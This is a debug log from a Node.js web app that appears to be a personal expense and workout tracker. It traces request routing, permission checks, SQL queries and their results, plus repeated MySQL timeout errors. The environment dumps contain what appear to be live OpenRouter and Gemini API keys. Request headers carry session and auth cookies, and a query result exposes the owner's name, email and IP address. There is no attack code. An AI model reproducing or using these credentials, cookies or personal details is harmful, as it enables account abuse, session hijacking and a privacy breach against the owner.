    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"11fff-HmZhRifL9C4PG3LzOWU8sqdLGqM"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/workout-exercise'
}
2025-12-25T11:13:50.926Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-25T11:13:50.927Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-25T11:13:50.927Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-25T11:13:50.927Z server-connect:app Executing action step identify
2025-12-25T11:13:50.927Z server-connect:app options: { provider: 'security' }
2025-12-25T11:13:50.927Z server-connect:output identity: 1
2025-12-25T11:13:50.927Z server-connect:app Executing action step restrict
2025-12-25T11:13:50.927Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T11:13:50.928Z server-connect:app Executing action step identify
2025-12-25T11:13:50.928Z server-connect:app options: { provider: 'security' }
2025-12-25T11:13:50.928Z server-connect:output identity: 1
2025-12-25T11:13:50.928Z server-connect:app Executing action step restrict
2025-12-25T11:13:50.928Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T11:13:50.928Z server-connect:output restrict: undefined
2025-12-25T11:13:50.928Z server-connect:app Executing action step select
2025-12-25T11:13:50.928Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select `exercise_id`, `workout_name`, `exercise_name`, `type`, `no_of_sets`, `group`, `workout_day` from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    sub: { workout_tracker: [Object] }
  }
}
2025-12-25T11:13:50.929Z server-connect:app Executing action step identify
2025-12-25T11:13:50.929Z server-connect:app options: { provider: 'security' }
2025-12-25T11:13:50.930Z server-connect:output identity: 1
2025-12-25T11:13:50.930Z server-connect:app Executing action step restrict
2025-12-25T11:13:50.930Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-25T11:13:50.931Z server-connect:output restrict: undefined
2025-12-25T11:13:50.931Z server-connect:app Executing action step select
2025-12-25T11:13:50.931Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-25T11:13:50.933Z server-connect:output restrict: undefined
2025-12-25T11:13:50.933Z server-connect:app Executing action step single
2025-12-25T11:13:50.933Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-25T11:13:50.934Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-25T11:13:50.934Z server-connect:output list: [
  {
    exercise_id: 1,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object], [Object], [Object], [Object] ]
  },
  {
    exercise_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 3,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 4,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object] ]
  },
  {
    exercise_id: 5,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 6,
    workout_name: 'Arms',
    exercise_name: 'Standing Bicep curl',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 7,
    workout_name: 'Arms',
    exercise_name: 'Seated Z bar curl',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  }
]
2025-12-25T11:13:50.936Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 11:18:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 11:18:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 12:13:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 12:13:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 12:43:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 12:43:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 12:52:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 12:52:03' as DATETIME)"
}
2025-12-25T14:05:28.843Z server-connect:router Serving templateView /
2025-12-25T14:05:28.844Z server-connect:app Executing action step identify
2025-12-25T14:05:28.844Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:28.844Z server-connect:output identity: 1
2025-12-25T14:05:28.844Z server-connect:app Executing action step restrict
2025-12-25T14:05:28.844Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T14:05:28.846Z server-connect:output restrict: undefined
2025-12-25T14:05:28.846Z server-connect:app Executing action step restrict
2025-12-25T14:05:28.846Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T14:05:28.846Z server-connect:output restrict: undefined
2025-12-25T14:05:28.846Z server-connect:router Render template index
2025-12-25T14:05:28.846Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.161Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo; your_r_git.sid=s%3ArKUT04F4OZFLu8E9Os3_iZmtNUrI0Cvj.koyUcTD06qPCcgwPUJjWTQP3hQ%2BlDTcghx2m822vzRM',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-25T14:05:30.559Z server-connect:router Serving templateView /collections
2025-12-25T14:05:30.559Z server-connect:app Executing action step identify
2025-12-25T14:05:30.559Z server-connect:app options: { provider: 'security' }
2025-12-25T14:05:30.560Z server-connect:output identity: 1
2025-12-25T14:05:30.560Z server-connect:app Executing action step restrict
2025-12-25T14:05:30.560Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T14:05:30.560Z server-connect:output restrict: undefined
2025-12-25T14:05:30.560Z server-connect:router Render template masters/collections
2025-12-25T14:05:30.560Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
